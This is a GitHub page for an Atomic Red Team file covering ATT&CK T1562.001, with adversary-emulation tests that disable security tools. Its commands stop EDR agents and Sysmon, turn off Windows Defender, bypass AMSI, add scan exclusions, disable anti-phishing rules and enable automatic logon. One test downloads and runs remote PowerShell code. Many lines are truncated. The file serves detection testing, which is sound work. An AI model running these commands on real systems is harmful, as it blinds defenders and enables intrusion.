Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 5 Actions Wiki Security Insights

atomic-red-team / atomics / T1562.001 / T1562.001.md

Atomic Red Team doc generat... Generated docs from job=generate-doc... a228ee8 · last year History

T1562.001 - Impair Defenses: Disable or Modify Tools

Description from ATT&CK

> Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)
> Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to Indicator Blocking, adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)
>
> Adversaries may also focus on specific applications such as Sysmon. For example, the "Start" and "Enable" values in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational` may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging)
>
> In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.
>
> Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems. (Citation: demystifying_ryuk)
>
> Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. Exploitation for Privilege Escalation), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)

Atomic Tests

- Atomic Test #1 - Disable syslog

- Atomic Test #2 - Disable Cb Response
- Atomic Test #3 - Disable SELinux
- Atomic Test #4 - Stop Crowdstrike Falcon on Linux
- Atomic Test #5 - Disable Carbon Black Response
- Atomic Test #6 - Disable LittleSnitch
- Atomic Test #7 - Disable OpenDNS Umbrella
- Atomic Test #8 - Disable macOS Gatekeeper
- Atomic Test #9 - Stop and unload Crowdstrike Falcon on macOS
- Atomic Test #10 - Unload Sysmon Filter Driver
- Atomic Test #11 - Uninstall Sysmon
- Atomic Test #12 - AMSI Bypass - AMSI InitFailed
- Atomic Test #13 - AMSI Bypass - Remove AMSI Provider Reg Key
- Atomic Test #14 - Disable Arbitrary Security Windows Service
- Atomic Test #15 - Tamper with Windows Defender ATP PowerShell
- Atomic Test #16 - Tamper with Windows Defender Command Prompt
- Atomic Test #17 - Tamper with Windows Defender Registry
- Atomic Test #18 - Disable Microsoft Office Security Features
- Atomic Test #19 - Remove Windows Defender Definition Files
- Atomic Test #20 - Stop and Remove Arbitrary Security Windows Service
- Atomic Test #21 - Uninstall Crowdstrike Falcon on Windows
- Atomic Test #22 - Tamper with Windows Defender Evade Scanning -Folder
- Atomic Test #23 - Tamper with Windows Defender Evade Scanning -Extension
- Atomic Test #24 - Tamper with Windows Defender Evade Scanning -Process
- Atomic Test #25 - office-365-Disable-AntiPhishRule
- Atomic Test #26 - Disable Windows Defender with DISM
- Atomic Test #27 - Disable Defender Using NirSoft AdvancedRun
- Atomic Test #28 - Kill antimalware protected processes using Backstab
- Atomic Test #29 - WinPwn - Kill the event log services for stealth
- Atomic Test #30 - Tamper with Windows Defender ATP using Aliases - PowerShell
- Atomic Test #31 - LockBit Black - Disable Privacy Settings Experience Using Registry - cmd
- Atomic Test #32 - LockBit Black - Use Registry Editor to turn on automatic logon -cmd
- Atomic Test #33 - LockBit Black - Disable Privacy Settings Experience Using Registry - Powershell
- Atomic Test #34 - Lockbit Black - Use Registry Editor to turn on automatic logon - Powershell
- Atomic Test #35 - Disable Windows Defender with PwSh Disable-WindowsOptionalFeature
- Atomic Test #36 - WMIC Tamper with Windows Defender Evade Scanning Folder

Atomic Test #1 - Disable syslog

Disables syslog collection

Supported Platforms: Linux

auto_generated_guid: 4ce786f8-e601-44b5-bfae-9ebb15a7d1c8

Inputs:

Name	Description	Type	Default Value
package_checker	Package checking command for linux.	string	(rpm -q rsyslog 2>&1 >/dev/null)
package_installer	Package installer command for linux. Default yum	string	(which yum && yum -y install epel-release rsyslog)
flavor_command	Command to disable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog stop ; chkconfig off rsyslog	string	systemctl stop rsyslog ; systemctl disable rsyslog
cleanup_command	Command to enable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog start ; chkconfig rsyslog on	string	systemctl start rsyslog ; systemctl enable rsyslog

Attack Commands: Run with `sh` ! Elevation Required (e.g. root or admin)

```
#{flavor_command}
```

Cleanup Commands:

```
#{cleanup_command}
```

Dependencies: Run with `sh` !

Description: Package with rsyslog must be on system

Check Prereq Commands:

```
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
```

Get Prereq Commands:

```
sudo #{package_installer}
```

Atomic Test #2 - Disable Cb Response

Disable the Cb Response service

Supported Platforms: Linux

auto_generated_guid: ae8943f7-0f8d-44de-962d-fbc2e2f03eb8

Attack Commands: Run with `sh`!

```
if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
  service cbdaemon stop
  chkconfig off cbdaemon
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
  systemctl stop cbdaemon
  systemctl disable cbdaemon
fi
```

Atomic Test #3 - Disable SELinux

Disables SELinux enforcement

Supported Platforms: Linux

auto_generated_guid: fc225f36-9279-4c39-b3f9-5141ab74f8d8

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
setenforce 0
```

Cleanup Commands:

```
setenforce 1
```

Dependencies: Run with `sh`!

Description: SELinux must be installed

Check Prereq Commands:

```
which setenforce
```

Get Prereq Commands:

```
echo "SELinux is not installed"; exit 1
```

Atomic Test #4 - Stop Crowdstrike Falcon on Linux

Stop and disable Crowdstrike Falcon on Linux

Supported Platforms: Linux

auto_generated_guid: 828a1278-81cc-4802-96ab-188bf29ca77d

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
sudo systemctl stop falcon-sensor.service
sudo systemctl disable falcon-sensor.service
```

Cleanup Commands:

```
sudo systemctl enable falcon-sensor.service
sudo systemctl start falcon-sensor.service
```

Atomic Test #5 - Disable Carbon Black Response

Disables Carbon Black Response

Supported Platforms: macOS

auto_generated_guid: 8fba7766-2d11-4b4a-979a-1e3d9cc9a88c

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plis
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.dae
```

Cleanup Commands:

```
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.pli
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.da
```

Atomic Test #6 - Disable LittleSnitch

Disables LittleSnitch

Supported Platforms: macOS

auto_generated_guid: 62155dd8-bb3d-4f32-b31c-6532ff3ac6a3

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plis
```

Cleanup Commands:

```
sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.pli
```

Atomic Test #7 - Disable OpenDNS Umbrella

Disables OpenDNS Umbrella

Supported Platforms: macOS

auto_generated_guid: 07f43b33-1e15-4e99-be70-bc094157c849

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClie
```

Cleanup Commands:

```
sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingCli
```

Atomic Test #8 - Disable macOS Gatekeeper

Disables macOS Gatekeeper

Supported Platforms: macOS

auto_generated_guid: 2a821573-fb3f-4e71-92c3-daac7432f053

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
sudo spctl --master-disable
```

Cleanup Commands:

```
sudo spctl --master-enable
```

Atomic Test #9 - Stop and unload Crowdstrike Falcon on macOS

Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS

Supported Platforms: macOS

auto_generated_guid: b3e7510c-2d4c-4249-a33f-591a2bc83eef

Inputs:

Name	Description	Type	Default Value
falcond_plist	The path of the Crowdstrike Falcon plist file	path	/Library/LaunchDaemons/com.crowdstrike
userdaemon_plist	The path of the	path	/Library/LaunchDaemons/com.crowdstrike

	Crowdstrike Userdaemon plist file		

Attack Commands: Run with `sh` ! Elevation Required (e.g. root or admin)

```
sudo launchctl unload #{falcond_plist}
sudo launchctl unload #{userdaemon_plist}
```

Cleanup Commands:

```
sudo launchctl load -w #{falcond_plist}
sudo launchctl load -w #{userdaemon_plist}
```

Atomic Test #10 - Unload Sysmon Filter Driver

Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution, o verify successful execution, run the prereq_command's and it should fail with an error of "sysmon filter must be loaded".

Supported Platforms: Windows

auto_generated_guid: 811b3e76-c41b-430c-ac0d-e2380bfaa164

Inputs:

Name	Description	Type	Default Value
sysmon_driver	The name of the Sysmon filter driver (this can change from the default)	string	SysmonDrv

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
fltmc.exe unload #{sysmon_driver}
```

Cleanup Commands:

```
sysmon -u -i > nul 2>&1
sysmon -i -accepteula -i > nul 2>&1
"PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u > nul 2>&
"PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula
```

Dependencies: Run with `powershell` !

Description: Sysmon must be downloaded

Check Prereq Commands:

```
if (-not (cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nu
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -Err
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Sysmon.zip" "Pat
```

Description: sysmon must be Installed

Check Prereq Commands:

```
if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 }
```

Get Prereq Commands:

```
if(cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") { C
{ & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepte
```

Description: sysmon filter must be loaded

Check Prereq Commands:

```
if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0 } else { exit
```

Get Prereq Commands:

```
if(Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"
  & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u
  & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepte
}else{
  sysmon -u
  sysmon -accepteula -i
}
```

Atomic Test #11 - Uninstall Sysmon

Uninstall Sysinternals Sysmon for Defense Evasion

Supported Platforms: Windows

auto_generated_guid: a316fb2e-5344-470d-91c1-23e15c374edc

Inputs:

Name	Description	Type	Default Value
sysmon_exe	The location of the Sysmon executable from Sysinternals (ignored if sysmon.exe is found in your PATH)	path	PathToAtomicsFolder\T1562.001\bin\sysmon.exe

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
sysmon -u
```

Cleanup Commands:

```
sysmon -i -accepteula >nul 2>&1
```

Dependencies: Run with `powershell`!

Description: Sysmon executable must be available

Check Prereq Commands:

```
if(cmd /c where sysmon) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
$parentpath = Split-Path "#{sysmon_exe}"; $zippath = "$parentpath\Sysmon
New-Item -ItemType Directory $parentpath -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -
Expand-Archive $zippath $parentpath -Force; Remove-Item $zippath
if(-not ($Env:Path).contains($parentpath)){$Env:Path += ";$parentpath"}
```

Description: Sysmon must be installed

Check Prereq Commands:

```
if(cmd /c sc query sysmon) { exit 0} else { exit 1}
```

Get Prereq Commands:

```
cmd /c sysmon -i -accepteula
```

Atomic Test #12 - AMSI Bypass - AMSI InitFailed

Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true. Upon execution, no output is displayed.

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

Supported Platforms: Windows

auto_generated_guid: 695eed40-e949-40e5-b306-b4031e4154bd

Attack Commands: Run with `powershell`!

```
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetFiel
```

Cleanup Commands:

```
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetFiel
```

Atomic Test #13 - AMSI Bypass - Remove AMSI Provider Reg Key

With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection. This test removes the Windows Defender provider registry key. Upon execution, no output is displayed. Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" to verify that it is gone.

Supported Platforms: Windows

auto_generated_guid: 13f09b91-c953-438e-845b-b585e51cac9b

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E
```

Cleanup Commands:

```
New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "{2781761
```

Atomic Test #14 - Disable Arbitrary Security Windows Service

With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed. Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service. To verify that the service has stopped, run "sc query McAfeeDLPAgentService"

Supported Platforms: Windows

auto_generated_guid: a1230893-56ac-4c81-b644-2108e982f8f5

Inputs:

Name	Description	Type	Default Value
service_name	The name of the service to stop	string	McAfeeDLPAgentService

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
net.exe stop #{service_name}
sc.exe config #{service_name} start= disabled
```

Cleanup Commands:

```
sc.exe config #{service_name} start= auto >nul 2>&1
net.exe start #{service_name} >nul 2>&1
```

Atomic Test #15 - Tamper with Windows Defender ATP PowerShell

Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled in Windows settings.

Supported Platforms: Windows

auto_generated_guid: 6b8df440-51ec-4d53-bf83-899591c9b5d7

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Set-MpPreference -DisableRealtimeMonitoring 1
Set-MpPreference -DisableBehaviorMonitoring 1
Set-MpPreference -DisableScriptScanning 1
Set-MpPreference -DisableBlockAtFirstSeen 1
```

Cleanup Commands:

```
Set-MpPreference -DisableRealtimeMonitoring 0
Set-MpPreference -DisableBehaviorMonitoring 0
Set-MpPreference -DisableScriptScanning 0
Set-MpPreference -DisableBlockAtFirstSeen 0
```

Atomic Test #16 - Tamper with Windows Defender Command Prompt

Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator. However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied" will be displayed twice and the WinDefend service status will be displayed.

Supported Platforms: Windows

auto_generated_guid: aa875ed4-8935-47e2-b2c5-6ec00ab220d2

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
sc stop WinDefend
sc config WinDefend start=disabled
sc query WinDefend
```

Cleanup Commands:

```
sc start WinDefend >nul 2>&1
sc config WinDefend start=enabled >nul 2>&1
```

Atomic Test #17 - Tamper with Windows Defender Registry

Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be grayed out and have no info.

Supported Platforms: Windows

auto_generated_guid: 1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -N
```

Cleanup Commands:

```
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -N
```

Atomic Test #18 - Disable Microsoft Office Security Features

Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not show any warning before editing the document.

https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/

Supported Platforms: Windows

auto_generated_guid: 6f5fb61b-4e56-4a3d-a8c3-82e13686c6d7

Attack Commands: Run with `powershell`!

```
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\Prot
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Secur
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Secur
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Secur
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Secur
```

Cleanup Commands:

```
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Se
Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\P
```

Atomic Test #19 - Remove Windows Defender Definition Files

Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments. On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the command will say completed.

https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/

Supported Platforms: Windows

auto_generated_guid: 3d47daaa-2f56-43e0-94cc-caf5d8d52a68

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```

Atomic Test #20 - Stop and Remove Arbitrary Security Windows Service

Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.

Supported Platforms: Windows

auto_generated_guid: ae753dda-0f15-4af6-a168-b9ba16143143

Inputs:

Name	Description	Type	Default Value
service_name	The name of the service to remove	string	McAfeeDLPAgentService

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Stop-Service -Name #{service_name}
Remove-Service -Name #{service_name}
```

Atomic Test #21 - Uninstall Crowdstrike Falcon on Windows

Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.

Supported Platforms: Windows

auto_generated_guid: b32b1ccf-f7c1-49bc-9ddd-7d7466a7b297

Inputs:

Name	Description	Type	Default Value
falcond_path	The Crowdstrike Windows Sensor path. The Guid always changes.	path	C:\ProgramData\Package Cache\{7489ba93-b668-447f-8401-7e57a6fe538d}\WindowsSensor.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
if (Test-Path "#{falcond_path}") {. "#{falcond_path}" /repair /uninstall
```

Atomic Test #22 - Tamper with Windows Defender Evade Scanning -Folder

Malware can exclude a specific path from being scanned and evading detection. Upon successul execution, the file provided should be on the list of excluded path. To check the exclusion list using poweshell (Get-MpPreference).ExclusionPath

Supported Platforms: Windows

auto_generated_guid: 0b19f4ee-de90-4059-88cb-63c800c683ed

Inputs:

Name	Description	Type	Default Value
excluded_folder	This folder will be excluded from scanning	path	C:\Temp

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$excludedpath= "#{excluded_folder}"
Add-MpPreference -ExclusionPath $excludedpath
```

Cleanup Commands:

```
$excludedpath= "#{excluded_folder}"
Remove-MpPreference -ExclusionPath $excludedpath
```

Atomic Test #23 - Tamper with Windows Defender Evade Scanning -Extension

Malware can exclude specific extensions from being scanned and evading detection. Upon successful execution, the extension(s) should be on the list of excluded extensions. To check the exclusion list using poweshell (Get-MpPreference).ExclusionExtension.

Supported Platforms: Windows

auto_generated_guid: 315f4be6-2240-4552-b3e1-d1047f5eecea

Inputs:

Name	Description	Type	Default Value
excluded_exts	A list of extension to exclude from scanning	string	.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$excludedExts= "#{excluded_exts}"
Add-MpPreference -ExclusionExtension  $excludedExts
```

Cleanup Commands:

```
$excludedExts= "#{excluded_exts}"
Remove-MpPreference -ExclusionExtension  $excludedExts -ErrorAction Igno
```

Atomic Test #24 - Tamper with Windows Defender Evade Scanning -Process

Malware can exclude specific processes from being scanned and evading detection. Upon successful execution, the process(es) should be on the list of excluded processes. To check the exclusion list using poweshell (Get-MpPreference).ExclusionProcess."

Supported Platforms: Windows

auto_generated_guid: a123ce6a-3916-45d6-ba9c-7d4081315c27

Inputs:

Name	Description	Type	Default Value
excluded_process	A list of processes to exclude from scanning	string	outlook.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$excludedProcess = "#{excluded_process}"
Add-MpPreference -ExclusionProcess $excludedProcess
```

Cleanup Commands:

```
$excludedProcess = "#{excluded_process}"
Remove-MpPreference -ExclusionProcess  $excludedProcess
```

Atomic Test #25 - office-365-Disable-AntiPhishRule

Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.

Supported Platforms: Office-365

auto_generated_guid: b9bbae2c-2ba6-4cf3-b452-8e8f908696f3

Inputs:

Name	Description	Type	Default Value
username	office-365 username	string	
password	office-365 password	string	

Attack Commands: Run with `powershell`!

```
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentL
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Disable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule
```

Cleanup Commands:

```
if("#{password}" -ne "") {
$secure_pwd = ("#{password}" + "") | ConvertTo-SecureString -AsPlainText
$creds = New-Object System.Management.Automation.PSCredential -ArgumentL
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Enable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule
}
```

Dependencies: Run with `powershell`!

Description: ExchangeOnlineManagement PowerShell module must be installed

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailab
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {ex
```

Get Prereq Commands:

```
Install-Module -Name ExchangeOnlineManagement
```

```
Import-Module ExchangeOnlineManagement
```

Atomic Test #26 - Disable Windows Defender with DISM

The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images. A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed. This method will remove Defender and it's package.

Supported Platforms: Windows

auto_generated_guid: 871438ac-7d6e-432a-b27d-3e7db69faf58

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoR
```

Atomic Test #27 - Disable Defender Using NirSoft AdvancedRun

Information on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html This Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign. See https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3 Upon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk.

Supported Platforms: Windows

auto_generated_guid: 81ce22fd-9612-4154-918e-8a1f285d214d

Inputs:

Name	Description	Type	Default Value
AdvancedRun_Location	Path of Advanced Run executable	path	PathToAtomicsFolder\..\ExternalPayl
delete_defender_folder	Set to 1 to also delete the Windows Defender folder	integer	0

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\Syst
if(#{delete_defender_folder}){
  $CommandToRun = rmdir "$env:programdata\Microsoft\Windows Defender" -R
  Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\Sy
}
```

Cleanup Commands:

```
Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\Syst
```

Dependencies: Run with `powershell`!

Description: Advancedrun.exe must exist at #{AdvancedRun_Location}

Check Prereq Commands:

```
if(Test-Path -Path "#{AdvancedRun_Location}") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -Err
Invoke-WebRequest "http://www.nirsoft.net/utils/advancedrun.zip" -OutFil
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\advancedru
```

Atomic Test #28 - Kill antimalware protected processes using Backstab

Backstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill. https://github.com/Yaxser/Backstab

Supported Platforms: Windows

auto_generated_guid: 24a12b91-05a7-4deb-8d7f-035fa98591bc

Inputs:

Name	Description	Type	Default Value
process_name	Name of the protected process you want to kill/terminate.	string	MsMpEng.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
& "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe" -k -n #{proce
```

Dependencies: Run with `powershell`!

Description: Backstab64.exe should exist in ExtrnalPayloads Directory

Check Prereq Commands:

```
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe")
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -Err
Invoke-WebRequest "https://github.com/Yaxser/Backstab/releases/download/
```

Atomic Test #29 - WinPwn - Kill the event log services for stealth

Kill the event log services for stealth via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 7869d7a3-3a30-4d2c-a5d2-f1cd9c34ce66

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercont
inv-phantom -consoleoutput -noninteractive
```

Atomic Test #30 - Tamper with Windows Defender ATP using Aliases - PowerShell

Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled in Windows settings.

Supported Platforms: Windows

auto_generated_guid: c531aa6e-9c97-4b29-afee-9b7be6fc8a64

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Set-MpPreference -drtm $True
Set-MpPreference -dbm $True
Set-MpPreference -dscrptsc $True
Set-MpPreference -dbaf $True
```

Cleanup Commands:

```
Set-MpPreference -drtm 0
Set-MpPreference -dbm 0
Set-MpPreference -dscrptsc 0
Set-MpPreference -dbaf 0
```

Atomic Test #31 - LockBit Black - Disable Privacy Settings Experience Using Registry -cmd

LockBit Black - Disable Privacy Settings Experience Using Registry

Supported Platforms: Windows

auto_generated_guid: d6d22332-d07d-498f-aea0-6139ecb7850e

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivac
```

Cleanup Commands:

```
reg delete "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePri
```

Atomic Test #32 - LockBit Black - Use Registry Editor to turn on automatic logon -cmd

LockBit Black - Use Registry Editor to turn on automatic logon

Supported Platforms: Windows

auto_generated_guid: 9719d0e1-4fe0-4b2e-9a72-7ad3ee8ddc70

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winl
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winl
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winl
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winl
```

Cleanup Commands:

```
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\W
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\W
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\W
```

Atomic Test #33 - LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell

LockBit Black - Disable Privacy Settings Experience Using Registry

Supported Platforms: Windows

auto_generated_guid: d8c57eaa-497a-4a08-961e-bd5efd7c9374

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
New-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name
```

Cleanup Commands:

```
Remove-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Na
```

Atomic Test #34 - Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell

Lockbit Black - Use Registry Editor to turn on automatic logon

Supported Platforms: Windows

auto_generated_guid: 5e27f36d-5132-4537-b43b-413b0d5eec9a

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVe
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVe
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVe
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVe
```

Cleanup Commands:

```
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\Curren
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\Curren
